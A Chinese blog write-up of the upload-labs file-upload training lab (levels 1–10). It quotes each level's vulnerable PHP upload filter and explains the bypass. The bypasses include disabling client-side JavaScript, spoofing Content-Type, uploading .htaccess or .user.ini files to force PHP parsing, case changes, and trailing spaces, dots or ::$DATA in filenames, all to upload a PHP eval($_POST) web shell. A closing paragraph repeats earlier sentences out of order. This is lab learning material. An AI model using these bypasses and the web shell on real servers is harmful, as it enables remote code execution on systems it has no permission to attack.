upload-labs

Jackie-w

已于 2023-04-18 20:41:51 修改

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文章标签：学习

于 2023-04-15 23:53:03 首次发布

本文链接：https://blog.csdn.net/qq_46398697/article/details/130094199

版权

前备知识

参考资料

确定上传漏洞类型

.htaccess

.htaccess文件(分布式配置文件)，全称Hypertext Access(超文本入口)。提供了针对目录改变配置的方法，即在一个特定的文档目录中放置一个包含一个或多个指令的文件，以作用于此目录及其所有子目录。作为用户，所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
修改httpd.conf，启用AllowOverride，并可以用AllowOverride限制特定命令的使用。如需使用.htaccess以外的其他文件名，可用AccessFileName指令来改变。例如，需要使用.config ，则可以在服务器配置文件中按以下方法配置：AccessFileName.config
它里面有这样一段代码：AllowOverride None，将None改成All

常见配法有如下几种：

Sethandler application/x-httpd-php
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg

Sethandler将该目录及子目录的所有文件均映射为php文件类型。
Addhandler使用 php5-script 处理器来解析所匹配到的文件。
AddType将特定扩展名文件映射为php文件类型。

php.ini

配置文件（php.ini）在 PHP 启动时被读取。对于服务器模块版本的 PHP，仅在 web 服务器启动时读取一次。对于 CGI 和 CLI 版本，每次调用都会读取。（PHP: 配置文件 - Manual）
除了主php.ini之外，PHP 还会在每个目录下扫描INI文件，从被执行的PHP文件所在目录开始一直上升到web根目录。如果被执行的PHP文件在web根目录之外，则只扫描该目录。
自php5.3.0起，PHP支持基于每个目录的.htaccess风格的INI文件。此类文件仅被CGI/Fastcgi sapi处理。
两个新的INI指令，user_ini.filename和 user_ini.cache_ttl控制着用户 INI 文件的使用。
user_ini.filename设定了PHP会在每个目录下搜寻的文件名；如果设定为空字符串则 PHP 不会搜寻。默认值是.user.ini。
user_ini.cache_ttl控制着重新读取用户INI文件的间隔时间。默认是300秒（5分钟）。
在.user.ini风格的INI文件中只有具有PHP_INI_PERDIR和PHP_INI_USER模式的INI设置可被识别。

想要引发 .user.ini 解析漏洞需要三个前提条件

服务器脚本语言为PHP
服务器使用CGI／FastCGI模式
上传目录下要有可执行的php文件

deldot()

从后向前检测，当检测到末尾的第一个点时会继续它的检测，但是遇到空格会停下来
首先他发现有一个点，这时会把他去掉，又发现有一个空格，也会把它去掉，我们这时还有一个点，也就是mm.php. . 由于他只是验证一次，所以不会在去掉我们的点，这时就可以上传成功

::DATA

php在window的时候如果文件名+“::$DATA"会把::$DATA之后的数据当成文件流处理，不会检测后缀名，且保持”::$DATA"之前的文件名，他的目的就是不检查后缀名。

1

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

查看源码知有js限制，F12打开控制台的设置，禁用JavaScript，上传一句话木马

<?php
    eval($_POST[1]);
?>

成功

2

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}

关键在第5行，所以用burpsuite抓包，修改框中为image/jpeg

上传成功。

3

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

相当于存在一个黑名单，但是可以修改Apache的httpd.conf
添加AddType application/x-httpd-php .php .phtml .php5 .php3

一句话木马后缀改为.php5，上传成功

由于lab环境为PHPstudy+Windows，故虽上传成功，但配置无法解析，可在虚拟机中复现

4

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

本题中可利用.htaccess解析漏洞进行攻击。

<FilesMatch "mm.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

上述代码写入.htaccess文件中
或者写成

AddType application/x-httpd-php jpg

以 php 解析 .htaccess 文件所在目录及其子目录中的后缀为 .xxx 的文件文件

代码中未限制.htaccess文件上传，上传以上内容的.htaccess文件后会将mm.jpg当成PHP文件解析执行。先上传.htaccess，之后上传mm.jpg即可。

利用burpsuite修改一句话木马后缀名为.php. .

上传成功，phpinfo()亦成功

5

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

新建文件名为.user.ini的文件

auto_prepend_file=mm.txt

新建文件名为mm.txt的文件

<?php phpinfo();?>

先上传.uer.ini，再上传mm.txt，访问readme.php，test.txt内的内容脚本正常执行

6

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

未用strtolower()把文件后缀名变为小写，使用大小写绕过
文件名改为“mm.Php”，上传成功

7

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

未用trim()去除首尾空格，截包时文件名后加空格绕过

Content-Disposition: form-data; name="upload_file"; filename="mm.php  "

8

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

原理同7题，未用deldot()去除点，截包时文件名后加点绕过

Content-Disposition: form-data; name="upload_file"; filename="mm.php."

9

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

未用str_ireplace()过滤::$DATA数据流标记，在BurpSuite中加入::$DATA到文件名末尾即可。在访问时去掉URL中的::$DATA

Content-Disposition: form-data; name="upload_file"; filename="mm.php::$DATA"

10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

只过滤了一次点，使用老方法“点+空格+点”过滤。保存路径没有经过处理
deldot()用法见前

Jackie-w

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upload-labs

除了主php.ini之外，PHP 还会在每个目录下扫描INI文件，从被执行的PHP文件所在目录开始一直上升到web根目录。首先他发现有一个点，这时会把他去掉，又发现有一个空格，也会把它去掉，我们这时还有一个点，也就是mm.php. . 由于他只是验证一次，所以不会在去掉我们的点，这时就可以上传成功。自php5.3.0起，PHP支持基于每个目录的.htaccess风格的INI文件。先上传.uer.ini，再上传mm.txt，访问readme.php，test.txt内的内容脚本正常执行。
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